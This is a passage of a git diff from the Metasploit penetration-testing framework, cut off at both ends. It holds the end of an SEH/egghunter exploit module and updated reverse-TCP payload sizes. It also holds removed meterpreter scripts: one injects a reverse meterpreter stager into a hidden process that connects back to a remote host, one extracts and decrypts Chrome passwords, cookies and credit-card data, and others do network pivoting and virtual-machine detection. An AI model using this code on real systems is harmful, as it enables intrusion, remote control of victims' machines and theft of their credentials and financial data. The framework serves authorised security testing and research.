generate_seh_record(mytarget.ret) + sploit << make_nops(8) + sploit << hunter + sploit << rand_text_alpha(4500) + + print_status('Sending malicious request...') + + send_request_cgi( + 'method' => 'GET', + 'uri' => sploit + ) + end +end diff --git a/modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb index f987f202dc..f083cf7be7 100644 --- a/modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux' module MetasploitModule - CachedSize = 292344 + CachedSize = 301456 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/armbe/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/armbe/mettle_reverse_tcp.rb index ec9e660bff..291850d9d0 100644 --- a/modules/payloads/singles/linux/armbe/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armbe/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux' module MetasploitModule - CachedSize = 285000 + CachedSize = 295848 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb index 3c814dcc4f..44f3a9410c 100644 --- a/modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armle_linux' module MetasploitModule - CachedSize = 284152 + CachedSize = 295848 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb index bfed7a6661..e924a2f11f 100644 --- a/modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux' module MetasploitModule - CachedSize = 504960 + CachedSize = 521872 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb index b904ebc997..4f12a02013 100644 --- a/modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux' module MetasploitModule - CachedSize = 484668 + CachedSize = 503004 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb index 1a3131acab..8731c11118 100644 --- a/modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux' module MetasploitModule - CachedSize = 484732 + CachedSize = 503036 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/ppc/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/mettle_reverse_tcp.rb index e7304df7e1..420139a48e 100644 --- a/modules/payloads/singles/linux/ppc/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux' module MetasploitModule - CachedSize = 329724 + CachedSize = 395276 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/ppc64le/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64le/mettle_reverse_tcp.rb index 62164f8a24..d293d3f51b 100644 --- a/modules/payloads/singles/linux/ppc64le/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc64le/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux' module MetasploitModule - CachedSize = 396160 + CachedSize = 396192 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/x64/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/x64/mettle_reverse_tcp.rb index 214fb913e8..158ddcbfde 100644 --- a/modules/payloads/singles/linux/x64/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_mettle_linux' module MetasploitModule - CachedSize = 289824 + CachedSize = 302144 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/x86/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/x86/mettle_reverse_tcp.rb index d33aa03c02..f980a8345e 100644 --- a/modules/payloads/singles/linux/x86/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_mettle_linux' module MetasploitModule - CachedSize = 292828 + CachedSize = 305148 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/zarch/mettle_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/mettle_reverse_tcp.rb index 9f74d416ff..16a1315baa 100644 --- a/modules/payloads/singles/linux/zarch/mettle_reverse_tcp.rb +++ b/modules/payloads/singles/linux/zarch/mettle_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux' module MetasploitModule - CachedSize = 367864 + CachedSize = 380192 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/post/multi/manage/zip.rb b/modules/post/multi/manage/zip.rb index c4cf15091f..47b9727d53 100644 --- a/modules/post/multi/manage/zip.rb +++ b/modules/post/multi/manage/zip.rb @@ -16,7 +16,7 @@ class MetasploitModule < Msf::Post 'Description' => %q{ This module zips a file or a directory. On Linux, it uses the zip command. On Windows, it will try to use remote target's 7Zip if found. If not, it falls - back to its own VBScript. + back to its Windows Scripting Host. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], @@ -39,10 +39,12 @@ class MetasploitModule < Msf::Post file?("#{get_program_file_path}\\7-Zip\\7z.exe") end - def vbs(dest, src) - vbs_file = File.read(File.join(Msf::Config.data_directory, "post", "zip", "zip.vbs")) - vbs_file << "WindowsZip \"#{src}\",\"#{dest}\"" - vbs_file + def wsh_script(dst, src) + script_file = File.read(File.join(Msf::Config.data_directory, "post", "zip", "zip.js")) + src.gsub!("\\", "\\\\\\") + dst.gsub!("\\", "\\\\\\") + script_file << "zip(\"#{src}\",\"#{dst}\");".force_encoding("UTF-8") + script_file end def find_pid_by_user(username) @@ -62,7 +64,7 @@ class MetasploitModule < Msf::Post pid = find_pid_by_user(current_user) unless pid - fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute .vbs") + fail_with(Failure::Unknown, "Unable to find a PID for #{current_user} to execute WSH") end print_status("Stealing token from PID #{pid} for #{current_user}") @@ -77,21 +79,21 @@ class MetasploitModule < Msf::Post @token_stolen = true end - def upload_exec_vbs_zip + def upload_exec_wsh_script_zip if is_system? unless session - print_error('Unable to decompress with VBS technique without Meterpreter') + print_error('Unable to compress with WSH technique without Meterpreter') return end steal_token end - script = vbs(datastore['DESTINATION'], datastore['SOURCE']) - tmp_path = "#{get_env('TEMP')}\\zip.vbs" - print_status("VBS file uploaded to #{tmp_path}") - write_file(tmp_path, script) - cmd_exec("wscript.exe #{tmp_path}") + script = wsh_script(datastore['DESTINATION'], datastore['SOURCE']) + tmp_path = "#{get_env('TEMP')}\\zip.js" + print_status("script file uploaded to #{tmp_path}") + write_file(tmp_path, script.encode("UTF-16LE")) + cmd_exec("cscript.exe #{tmp_path}") end def do_7zip @@ -110,8 +112,8 @@ class MetasploitModule < Msf::Post print_status("Compressing #{datastore['DESTINATION']} via 7zip") do_7zip else - print_status("Compressing #{datastore['DESTINATION']} via VBS") - upload_exec_vbs_zip + print_status("Compressing #{datastore['DESTINATION']} via WSH") + upload_exec_wsh_script_zip end end diff --git a/scripts/meterpreter/autoroute.rb b/scripts/meterpreter/autoroute.rb deleted file mode 100644 index 51af8b7c5d..0000000000 --- a/scripts/meterpreter/autoroute.rb +++ /dev/null @@ -1,209 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to improve this script, please try to port it as a post -# module instead. Thank you. -## - - -# -# Meterpreter script for setting up a route from within a -# Meterpreter session, without having to background the -# current session. - -# Default options -session = client -subnet = nil -netmask = "255.255.255.0" -print_only = false -remove_route = false -remove_all_routes = false - -# Options parsing -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [false, "Help and usage"], - "-s" => [true, "Subnet (IPv4, for example, 10.10.10.0)"], - "-n" => [true, "Netmask (IPv4, for example, 255.255.255.0"], - "-p" => [false, "Print active routing table. All other options are ignored"], - "-d" => [false, "Delete the named route instead of adding it"], - "-D" => [false, "Delete all routes (does not require a subnet)"] -) - -@@exec_opts.parse(args) { |opt, idx, val| - v = val.to_s.strip - case opt - when "-h" - usage - raise Rex::Script::Completed - when "-s" - if v =~ /[0-9\x2e]+\x2f[0-9]{1,2}/ - subnet,cidr = v.split("\x2f") - netmask = Rex::Socket.addr_ctoa(cidr.to_i) - else - subnet = v - end - when "-n" - if (0..32) === v.to_i - netmask = Rex::Socket.addr_ctoa(v.to_i) - else - netmask = v - end - when "-p" - print_only = true - when "-d" - remove_route = true - when "-D" - remove_all_routes = true - end -} - -def delete_all_routes - if Rex::Socket::SwitchBoard.routes.size > 0 - routes = [] - Rex::Socket::SwitchBoard.each do |route| - routes << {:subnet => route.subnet, :netmask => route.netmask} - end - routes.each {|route_opts| delete_route(route_opts)} - - print_status "Deleted all routes" - else - print_status "No routes have been added yet" - end - raise Rex::Script::Completed -end - -# Identical functionality to command_dispatcher/core.rb, and -# nearly identical code -def print_routes - if Rex::Socket::SwitchBoard.routes.size > 0 - tbl = Msf::Ui::Console::Table.new( - Msf::Ui::Console::Table::Style::Default, - 'Header' => "Active Routing Table", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Columns' => - [ - 'Subnet', - 'Netmask', - 'Gateway', - ], - 'ColProps' => - { - 'Subnet' => { 'MaxWidth' => 17 }, - 'Netmask' => { 'MaxWidth' => 17 }, - }) - ret = [] - - Rex::Socket::SwitchBoard.each { |route| - if (route.comm.kind_of?(Msf::Session)) - gw = "Session #{route.comm.sid}" - else - gw = route.comm.name.split(/::/)[-1] - end - tbl << [ route.subnet, route.netmask, gw ] - } - print tbl.to_s - else - print_status "No routes have been added yet" - end - raise Rex::Script::Completed -end - -# Yet another IP validator. I'm sure there's some Rex -# function that can just do this. -def check_ip(ip=nil) - return false if(ip.nil? || ip.strip.empty?) - begin - rw = Rex::Socket::RangeWalker.new(ip.strip) - (rw.valid? && rw.length == 1) ? true : false - rescue - false - end -end - -# Adds a route to the framework instance -def add_route(opts={}) - subnet = opts[:subnet] - netmask = opts[:netmask] || "255.255.255.0" # Default class C - Rex::Socket::SwitchBoard.add_route(subnet, netmask, session) -end - -# Removes a route to the framework instance -def delete_route(opts={}) - subnet = opts[:subnet] - netmask = opts[:netmask] || "255.255.255.0" # Default class C - Rex::Socket::SwitchBoard.remove_route(subnet, netmask, session) -end - - -# Defines usage -def usage() - print_status "Usage: run autoroute [-r] -s subnet -n netmask" - print_status "Examples:" - print_status " run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0" - print_status " run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0" - print_status " run autoroute -s 10.10.10.1/24 # CIDR notation is also okay" - print_status " run autoroute -p # Print active routing table" - print_status " run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route" - print_status "Use the \"route\" and \"ipconfig\" Meterpreter commands to learn about available routes" - print_error "Deprecation warning: This script has been replaced by the post/windows/manage/autoroute module" -end - -# Validates the command options -def validate_cmd(subnet=nil,netmask=nil) - if subnet.nil? - print_error "Missing -s (subnet) option" - return false - end - - unless(check_ip(subnet)) - print_error "Subnet invalid (must be IPv4)" - usage - return false - end - - if(netmask and !(Rex::Socket.addr_atoc(netmask))) - print_error "Netmask invalid (must define contiguous IP addressing)" - usage - return false - end - - if(netmask and !check_ip(netmask)) - print_error "Netmask invalid" - return usage - end - true -end - -if print_only - print_routes() - raise Rex::Script::Completed -end - -if remove_all_routes - delete_all_routes() - raise Rex::Script::Completed -end - -raise Rex::Script::Completed unless validate_cmd(subnet,netmask) - -if remove_route - print_status("Deleting route to %s/%s..." % [subnet,netmask]) - route_result = delete_route(:subnet => subnet, :netmask => netmask) -else - print_status("Adding a route to %s/%s..." % [subnet,netmask]) - route_result = add_route(:subnet => subnet, :netmask => netmask) -end - -if route_result - print_good "%s route to %s/%s via %s" % [ - (remove_route ? "Deleted" : "Added"), - subnet,netmask,client.sock.peerhost - ] -else - print_error "Could not %s route" % [(remove_route ? "delete" : "add")] -end - -if Rex::Socket::SwitchBoard.routes.size > 0 - print_status "Use the -p option to list all active routes" -end - diff --git a/scripts/meterpreter/checkvm.rb b/scripts/meterpreter/checkvm.rb deleted file mode 100644 index 96d7ce66e6..0000000000 --- a/scripts/meterpreter/checkvm.rb +++ /dev/null @@ -1,359 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# Meterpreter script for detecting if target host is a Virtual Machine -# Provided by Carlos Perez at carlos_perez[at]darkoperator.com -# Version: 0.2.0 -session = client - -@@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] -) - -@@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("CheckVM -- Check various attributes on the target for evidence that it is a virtual machine") - print_line("USAGE: run checkvm") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end -} - -# Function for detecting if it is a Hyper-V VM -def hypervchk(session) - begin - vm = false - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft', KEY_READ) - sfmsvals = key.enum_key - if sfmsvals.include?("Hyper-V") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif sfmsvals.include?("VirtualMachine") - print_status("This is a Hyper-V Virtual Machine") - vm = true - end - key.close - rescue - end - - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vmicheartbeat") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicvss") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicshutdown") - print_status("This is a Hyper-V Virtual Machine") - vm = true - elsif srvvals.include?("vmicexchange") - print_status("This is a Hyper-V Virtual Machine") - vm = true - end - rescue - end - end - return vm -end - -# Function for checking if it is a VMware VM -def vmwarechk(session) - vm = false - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vmdebug") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("vmmouse") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("VMTools") - print_status("This is a VMware Virtual Machine") - vm = true - elsif srvvals.include?("VMMEMCTL") - print_status("This is a VMware Virtual Machine") - vm = true - end - key.close - rescue - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /vmware/ - print_status("This is a VMware Virtual Machine") - vm = true - end - rescue - end - end - if not vm - vmwareprocs = [ - "vmwareuser.exe", - "vmwaretray.exe" - ] - vmwareprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a VMware Virtual Machine") if not vm - vm = true - end - end - end - end - key.close - return vm - -end -# Function for checking if it is a Virtual PC VM -def checkvrtlpc(session) - vm = false - vpcprocs = [ - "vmusrvc.exe", - "vmsrvc.exe" - ] - vpcprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a VirtualPC Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("vpcbus") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif srvvals.include?("vpc-s3") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif srvvals.include?("vpcuhub") - print_status("This is a VirtualPC Virtual Machine") - vm = true - elsif srvvals.include?("msvmmouf") - print_status("This is a VirtualPC Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm -end - -def vboxchk(session) - vm = false - vboxprocs = [ - "vboxservice.exe", - "vboxtray.exe" - ] - vboxprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a Sun VirtualBox Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBOX__") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /vbox/ - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System') - if key.query_value('SystemBiosVersion').data.downcase =~ /vbox/ - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("VBoxMouse") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxGuest") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxService") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - elsif srvvals.include?("VBoxSF") - print_status("This is a Sun VirtualBox Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm -end - -def xenchk(session) - vm = false - xenprocs = [ - "xenservice.exe" - ] - xenprocs.each do |p| - session.sys.process.get_processes().each do |x| - if p == (x['name'].downcase) - print_status("This is a Xen Virtual Machine") if not vm - vm = true - end - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\DSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\FADT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\ACPI\RSDT', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("Xen") - print_status("This is a Xen Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ) - srvvals = key.enum_key - if srvvals.include?("xenevtchn") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xennet") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xennet6") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xensvc") - print_status("This is a Xen Virtual Machine") - vm = true - elsif srvvals.include?("xenvdb") - print_status("This is a Xen Virtual Machine") - vm = true - end - key.close - rescue - end - end - return vm -end - -def qemuchk(session) - vm = false - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0') - if key.query_value('Identifier').data.downcase =~ /qemu/ - print_status("This is a QEMU/KVM Virtual Machine") - vm = true - end - rescue - end - end - if not vm - begin - key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\CentralProcessor\0') - if key.query_value('ProcessorNameString').data.downcase =~ /qemu/ - print_status("This is a QEMU/KVM Virtual Machine") - vm = true - end - rescue - end - end - - return vm - -end - -if client.platform =~ /win32|win64/ - print_status("Checking if target is a Virtual Machine .....") - found = hypervchk(session) - found = vmwarechk(session) if not found - found = checkvrtlpc(session) if not found - found = vboxchk(session) if not found - found = xenchk(session) if not found - found = qemuchk(session) if not found - print_status("It appears to be physical host.") if not found -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb deleted file mode 100644 index 080f9ded93..0000000000 --- a/scripts/meterpreter/duplicate.rb +++ /dev/null @@ -1,153 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# Author: Scriptjunkie -# Uses a meterpreter session to spawn a new meterpreter session in a different process. -# A new process allows the session to take "risky" actions that might get the process killed by -# A/V, giving a meterpreter session to another controller, or start a keylogger on another -# process. -# - -# -# Options -# -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"], - "-w" => [ false, "Write and execute an exe instead of injecting into a process"], - "-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."], - "-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."], - "-s" => [ false, "Spawn new executable to inject to. Only useful with -P."], - "-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"] -) - -# -# Default parameters -# - -rhost = Rex::Socket.source_address("1.2.3.4") -rport = 4546 -lhost = "127.0.0.1" - -spawn = false -autoconn = true -inject = true -target_pid = nil -target = "notepad.exe" -pay = nil - -# -# Option parsing -# -opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - when "-P" - target_pid = val.to_i - when "-e" - target = val - when "-D" - autoconn = false - when "-w" - inject = false - when "-s" - spawn = true - end -end - -print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}") - -payload = "windows/meterpreter/reverse_tcp" -pay = client.framework.payloads.create(payload) -pay.datastore['LHOST'] = rhost -pay.datastore['LPORT'] = rport -mul = client.framework.exploits.create("multi/handler") -mul.share_datastore(pay.datastore) -mul.datastore['WORKSPACE'] = client.workspace -mul.datastore['PAYLOAD'] = payload -mul.datastore['EXITFUNC'] = 'process' -mul.datastore['ExitOnSession'] = true -print_status("Running payload handler") -mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true -) - -if client.platform =~ /win32|win64/ - server = client.sys.process.open - - print_status("Current server process: #{server.name} (#{server.pid})") - - if ! inject - exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) - print_status("Meterpreter stager executable #{exe.length} bytes long") - - # - # Upload to the filesystem - # - tempdir = client.sys.config.getenv('TEMP') - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tempexe.gsub!("\\\\", "\\") - - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - print_status("Uploaded the agent to #{tempexe} (must be deleted manually)") - - # - # Execute the agent - # - print_status("Executing the agent with endpoint #{rhost}:#{rport}...") - pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) - elsif ! spawn - # Get the target process name - print_status("Duplicating into #{target}...") - - # Get the target process pid - if not target_pid - target_pid = client.sys.process[target] - end - - if not target_pid - print_error("Could not access the target process") - print_status("Spawning a notepad.exe host process...") - note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) - target_pid = note.pid - end - else - print_status("Spawning a #{target} host process...") - newproc = client.sys.process.execute(target, nil, {'Hidden' => true }) - target_pid = newproc.pid - if not target_pid - print_error("Could not create a process around #{target}") - raise Rex::Script::Completed - end - end - - # Do the duplication - print_status("Injecting meterpreter into process ID #{target_pid}") - host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS) - raw = pay.generate - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) - print_status("New server process: #{target_pid}") - -else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb deleted file mode 100644 index 8fca66c274..0000000000 --- a/scripts/meterpreter/enum_chrome.rb +++ /dev/null @@ -1,244 +0,0 @@ -## -# WARNING: Metasploit no longer maintains or accepts meterpreter scripts. -# If you'd like to imporve this script, please try to port it as a post -# module instead. Thank you. -## - - -# -# Script to extract data from a chrome installation. -# -# Author: Sven Taute -# - -require 'sqlite3' -require 'yaml' - -if client.platform !~ /win32/ - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed -end -@host_info = client.sys.config.sysinfo -@chrome_files = [ - { :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"}, - { :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"}, - { :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"}, - { :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]}, - { :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"}, - { :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"}, - { :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"}, - { :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"}, - { :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]}, - { :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"}, - { :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"}, -] -@migrate = false -@old_pid = nil -@output_format = [] - -opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu" ], - "-m" => [ false, "Migrate into explorer.exe"], - "-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"] -) - -opts.parse(args) { |opt, idx, val| - case opt - when "-m" - @migrate = true - when "-f" - if val =~ /^j(son)?$/ - @output_format << "json" - elsif val =~ /^y(aml)?$/ - @output_format << "yaml" - elsif val =~ /^t(ext)?$/ - @output_format << "text" - else - print_error("unknown format '#{val}'.") - raise Rex::Script::Completed - end - when "-h" - print_line("") - print_line("DESCRIPTION: Script for enumerating preferences and extracting") - print_line("information from the Google Chrome Browser on a target system.") - print_line("Decryption of creditcard information and passwords only supported") - print_line("on 32bit Windows Operating Systems.") - print_line("") - print_line("USAGE: run enum_chrome [-m]") - print_line(opts.usage) - raise Rex::Script::Completed - end -} - -@output_format << "json" if @output_format.empty? -if @output_format.include?("json") - begin - require 'json' - rescue LoadError - print_error("JSON is not available.") - @output_format.delete("json") - if @output_format.empty? - print_status("Falling back to raw text output.") - @output_format << "text" - end - end -end -print_status("using output format(s): " + @output_format.join(", ")) - -def prepare_railgun - rg = client.railgun - if (!rg.get_dll('crypt32')) - rg.add_dll('crypt32') - end - - if (!rg.crypt32.functions["CryptUnprotectData"]) - rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [ - ["PBLOB","pDataIn", "in"], - ["PWCHAR", "szDataDescr", "out"], - ["PBLOB", "pOptionalEntropy", "in"], - ["PDWORD", "pvReserved", "in"], - ["PBLOB", "pPromptStruct", "in"], - ["DWORD", "dwFlags", "in"], - ["PBLOB", "pDataOut", "out"] - ]) - end -end - -def decrypt_data(data) - rg = client.railgun - pid = client.sys.process.open.pid - process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) - - mem = process.memory.allocate(1024) - process.memory.write(mem, data) - - addr = [mem].pack("V") - len = [data.length].pack("V") - ret = 